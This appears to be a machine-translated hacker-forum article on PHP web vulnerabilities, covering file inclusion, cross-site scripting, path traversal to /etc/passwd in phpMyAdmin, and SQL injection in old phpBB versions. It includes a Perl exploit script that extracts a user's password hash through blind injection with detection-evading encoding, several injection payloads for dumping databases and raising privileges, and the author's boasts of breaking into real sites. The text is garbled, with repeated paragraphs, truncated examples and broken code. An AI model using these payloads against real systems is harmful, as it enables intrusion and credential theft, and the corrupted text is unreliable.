php page vulnerability analysis and related issues to be resolved

From the point of view of network security now, we are most concerned about and most in contact with the WEB page vulnerability should be ASP, in this regard, Xiaozhu is an expert, I do not have the right to speak. However, in terms of PHP, there are also very serious security issues, but there are not many articles in this regard. Here, with you to discuss a little bit of PHP page related vulnerabilities it.

I have summarized the common PHP vulnerabilities, which are roughly divided into the following categories: file inclusion vulnerabilities, script command execution vulnerabilities, file leakage vulnerabilities, SQL injection vulnerabilities, and so on. Of course, as for COOKIE spoofing and other parts of the general technology will not be discussed here, the information online is also a lot. So, we will analyze one by one how to take advantage of these vulnerabilities it!

First of all, let's discuss the include file vulnerability. This vulnerability should be said to be unique to PHP. It is the result of inadequate handling of externally supplied malicious data, which allows a remote attacker to exploit these vulnerabilities to execute arbitrary commands on the system with WEB process privileges. Let's take a look at an example: Suppose there is a line of code in a.php:

Here is the quote fragment:

include($include."/xxx.php");

In this code, $include is generally a path that has already been set up, but we can construct a path to achieve the purpose of the attack by ourselves. a path for the purpose of the attack. Let's say we submit :a.php?include=

Next, let's look at the script command execution vulnerability. This is due to the lack of adequate filtering of user-submitted URI parameters, the submission of data containing malicious HTML code can lead to the triggering of a cross-site scripting attack, potentially obtaining sensitive information about the target user. Let's also take an example: in PHP Transparent's PHP PHP 4.3.1 version of the index.php page lacks sufficient filtering of PHPSESSID, we can use this code to achieve the purpose of the attack

And then, let's take a look at the file leakage vulnerability, which is due to a lack of sufficient filtering of user-submitted parameters, a remote attacker could use the file leakage vulnerability as the basis for a cross-site attack

And then, let's take a look at the file leakage vulnerability. This vulnerability is due to the lack of adequate filtering of user-submitted parameters, which can be used by a remote attacker to perform directory traversal attacks as well as to obtain some sensitive information. Let's take the recently discovered phpMyAdmin as an example. In phpMyAdmin, the export.php page does not have sufficient filtering on the 'what' parameter submitted by the user, and a remote attacker submits data containing multiple '. /' characters, a remote attacker can bypass the WEB ROOT restriction and view any file information on the system with WEB privileges. Let's say you type in an address like this: export.php?what=... /... /... /... /... /... /etc/passwd%00 can achieve the purpose of file leakage. There are a number of programs that do this, including myPHPNuke, McNews, and many others.

Finally, we are back to the most exciting place. Think about how cool we usually use SQL injection in the asp page, before but also manually injected, until Xiaozhu realized the "SQL injection secrets" (hehehe), and then opened to make the NBSI, our NB alliance is really pulling out of a piece of the sky. Has helped CSDN, Monopoly Forum, China Channel and other large sites to find vulnerabilities. (These nonsense do not say more, a little off-topic ... ...) .

Still the rules of the road, in fact, in the asp SQL injection and php SQL injection is roughly the same, only a little attention to a few functions with a good. Will asc changed to ASCII, len changed to LENGTH, other functions are basically unchanged. In fact, we see PHP SQL injection, is not it will think of PHP-NUKE and PHPBB? good, as the saying goes, the tree beckons points, like the dynamic network of forums in the asp world should be the king of the loopholes, this is not to say that its forum security is too bad, but the fame is too loud, other people use more, the research of the people will also be more, and found that the more security holes are also more and more PHPBB is the same, now a large portion of the use of PHP to do forums, then, generally is the choice of the PHPBB. It is always out, from the earliest phpBB 1.4.0 version was found vulnerabilities, to the recent phpBB 2.0.6 version of groupcp.php, as well as before the discovery of search.php, profile.php, viewtopic.php and so on add up, probably there are about ten like it. This has always led to, part of the research php vulnerability will take it to do experiments, the so-called hundred practice, I believe that the future of PHPBB will be more and more good.

Well, let's analyze the reasons for the vulnerability. Take viewtopic.php page, because in the call viewtopic.php, directly from the GET request to get "topic_id" and passed to the SQL query command, and did not carry out some filtering processing, the attacker can submit a special SQL string used to obtain the MD5 password to obtain the password information can be used to automatically login or brute force. (I don't think anyone would want to brute force it, unless there is a particularly important reason). Let's take a look at the source code:

Here's the quoted snippet:

#

if(isset($HTTP_GET_VARS[POST_TOPIC_URL]))

#

{

#

$topic_id=intval($ HTTP_GET_VARS[POST_TOPIC_URL]);

#

}

#

elseif(isset($HTTP_GET_VARS['topic']))

#

{

#

> $topic_id=intval($HTTP_GET_VARS['topic']);

#

}

From the above, we can see that the query code executed looks like the following, if the submitted view=newest and the sid is set to a value (if you haven't already seen the If you haven't seen the PHPBB source code yet, I suggest you do so before looking at it here. The affected systems are: phpBB 2.0.5 and phpBB 2.0.4).

Here is the quoted snippet:

#

$sql = "SELECT p.post_id

#

FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u

#

WHERE s.session_id = '$session_id'

#

AND u.user_id = s.session_user_id

#

AND p.topic_id = $topic_ id

#

AND p.post_time = u.user_lastvisit

#

ORDER BY p.post_time ASC

#

LIMIT 1";

Rick provides the following broken test code :

use IO::Socket;

$remote = shift || 'localhost';

$view_topic = shift || '/phpBB2/viewtopic.php';

$uid = shift || 2;

$port = 80;

$dBType = 'mysql4';

# mysql4 or pgsql

print "Trying to get password hash for uid $uid server $remote dbtype: $ dBType ";

$p = "";

for($index=1; $index=32; $index++)

{

$socket = IO::Socket::INET-new(PeerAddr = $remote,

PeerPort = $port,

Proto = "tcp",

Type = SOCK_STREAM)

or die "Couldnt connect to $remote:$port : $@ ";

$str = "GET $view_ topic" . "?sid=1topic_id=-1" .　random_encode(make_dbsql()) .　"view=newest" . " HTTP/1.0 ";

print $socket $str;

print $socket "Cookie: phpBB2mysql_sid=1 ";

# replace this for pgsql or remove it

print $socket "Host: $remote ";

while ($answer = $socket)

{

if ($answer =~ /location:. *x23(d+)/) # Matches the location: viewtopic.php?p=#

{

$p . = chr ();

}

}

close($socket);

}

print " MD5 Hash for uid $uid is $p ";

# random encode str. helps avoid detection

sub random_encode

{

$str = shift;

$ret = "";

for($i=0; $i

{

$c = substr($str,$i,1);

$j = rand length($str) * 1000;

if (int($j) % 2 || $c eq ' ')

{

$ret . = "%" . sprintf("%x",ord($c));

}

#p#subtitle#e#

else

{

$ret . = $c;

}

}

return $ret;

}

sub make_dbsql

{

If ($dBType eq 'mysql4')

{

return " union select ord(substring(user_password, " . $index . ",1)) from phpbb_users where user_id=$uid/*" ;

} elsif ($dBType eq 'pgsql')

{

return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";

}

else

{

return "";

< p>}

}

This code, I'm not going to explain. The purpose is to get the HASH value.

See here, you may have some questions, why I have spoken of those who change the function of how not used, I speak out not afraid of everyone laughing: in fact, many sites on the Internet, some pages of the query statement will look like this:

display.php?sqlsave=select+*+from+aaa+where+xx=yyy+order+display.php? xx=yy+order+by+bbb+desc

Don't laugh, it's true, I've gotten into a couple of big sites with this. As for which some, it is not easy to say, but our school's website, I am relying on this into the background of the function in front of the use of it. Otherwise, you'll have to change your password.

Almost forgot a point, in the SQL injection, PHP and ASP are different, mysql on the use of sql statements are not flexible mssql, therefore, a lot of mssql on the query statement can be used in mysql can not work. Generally we commonly inject statements like this: aaa.php?id=a' into outfile 'pass.txt or aaa.php?id=a' into outfile 'pass.txt' /* further can be changed to: aaa.php?id=a' or 1=1 union select id, name, password form users into outfile 'pass.txt' /* further can be changed to: aaa.php?id=a' or 1=1 union select id, name, password form users into outfile 'pass.txt' or 1=1 union select id, name, password form users into outfile 'pass.txt' /* further can be changed to: aaa.php? name,password form users into outfile 'c:/a.txt'

This way you can export the database data to a file and then view it.

Or like this: mode=',user_level='4'

This statement is usually used when modifying data, assuming that the page has a vulnerability, and can be used to elevate privileges.

Others such as ' OR 1=1 -- or: 1' or 1='1 is similar to asp. I'm not going to talk about it here. In php, SQL injection still seems to be the first vulnerability ah, there are too many pages with this problem.

In fact, you can see that the above categories come down to only one reason: the submit parameter is not filtered or filtering is not rigorous enough.

#p#Subtitle#e#

These are the only reasons for the above categories: the submission parameters are not filtered or the filtering is not strict enough.